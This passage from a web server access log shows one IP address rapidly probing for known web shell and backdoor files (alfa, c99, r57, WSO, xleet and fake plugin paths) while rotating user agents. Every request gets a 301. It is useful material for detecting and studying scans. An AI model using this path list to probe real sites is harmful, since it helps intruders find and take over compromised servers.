- [03/Feb/2026:10:53:05 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:05 +0300] "GET /new-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:06 +0300] "GET /wp-content/batm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.38 - - [03/Feb/2026:10:53:06 +0300] "GET /wp-content/masshp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:06 +0300] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:53:06 +0300] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:06 +0300] "GET /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:07 +0300] "GET /ALFA_DATA/alfacgiapi/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:53:07 +0300] "GET /ALFA_DATA/alfacgiapi/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:07 +0300] "GET /ALFA_DATA/alfacgiapi/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:07 +0300] "GET /ALFA_DATA/alfacgiapi/mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:08 +0300] "GET /ALFA_DATA/alfacgiapi/r57.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.38 - - [03/Feb/2026:10:53:08 +0300] "GET /ALFA_DATA/alfacgiapi/uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:09 +0300] "GET /ALFA_DATA/alfacgiapi/ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:53:09 +0300] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:09 +0300] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:10 +0300] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:53:10 +0300] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:10 +0300] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:10 +0300] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:11 +0300] "GET /wp-content/plugins/html404/cry.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:11 +0300] "GET /wp-includes/css/F0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:12 +0300] "GET /wp-content/uploads/F0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.38 - - [03/Feb/2026:10:53:12 +0300] "GET /class-wp-widget-archives.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:12 +0300] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:12 +0300] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:13 +0300] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:53:13 +0300] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.38 - - [03/Feb/2026:10:53:13 +0300] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.38 - - [03/Feb/2026:10:53:13 +0300] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:13 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:14 +0300] "GET /xt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:14 +0300] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:15 +0300] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:15 +0300] "GET /xleetshell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:16 +0300] "GET /wp-admin/includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:53:16 +0300] "GET /wp-content/plugins/content-management/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:16 +0300] "GET /xlt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:16 +0300] "GET /wp-content/plugins/xt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:17 +0300] "GET /wp-content/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:17 +0300] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.38 - - [03/Feb/2026:10:53:17 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:18 +0300] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:53:18 +0300] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:53:18 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:18 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:19 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:19 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:19 +0300] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:19 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:20 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:20 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:20 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:21 +0300] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:21 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.38 - - [03/Feb/2026:10:53:21 +0300] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:21 +0300] "GET /WSOEnigma.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:22 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:22 +0300] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:53:22 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:22 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:23 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.38 - - [03/Feb/2026:10:53:23 +0300] "GET /mah/function.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:23 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:23 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:24 +0300] "GET /gebase.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:24 +0300] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:24 +0300] "GET /asasx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:24 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.38 - - [03/Feb/2026:10:53:25 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:25 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:53:25 +0300] "GET /contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.38 - - [03/Feb/2026:10:53:25 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:53:26 +0300] "GET /mah.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.38 - - [03/Feb/2026:10:53:26 +0300] "GET /wp-add.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:26 +0300] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.38 - - [03/Feb/2026:10:53:27 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:27 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:27 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.38 - - [03/Feb/2026:10:53:27 +0300] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.38 - - [03/Feb/2026:10:53:28 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:28 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:28 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:28 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:29 +0300] "GET /text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:29 +0300] "GET /xc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:30 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.38 - - [03/Feb/2026:10:53:30 +0300] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.38 - - [03/Feb/2026:10:53:30 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:30 +0300] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:53:31 +0300] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.38 - - [03/Feb/2026:10:53:31 +0300] "GET /bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:31 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:32 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:32 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:32 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:32 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:33 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:53:33 +0300] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:33 +0300] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:33 +0300] "GET /wp-content/plugins/erinyani/gebase.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:34 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:34 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:34 +0300] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:35 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:53:35 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.38 - - [03/Feb/2026:10:53:35 +0300] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:35 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:36 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:53:36 +0300] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.38 - - [03/Feb/2026:10:53:36 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:37 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:37 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) 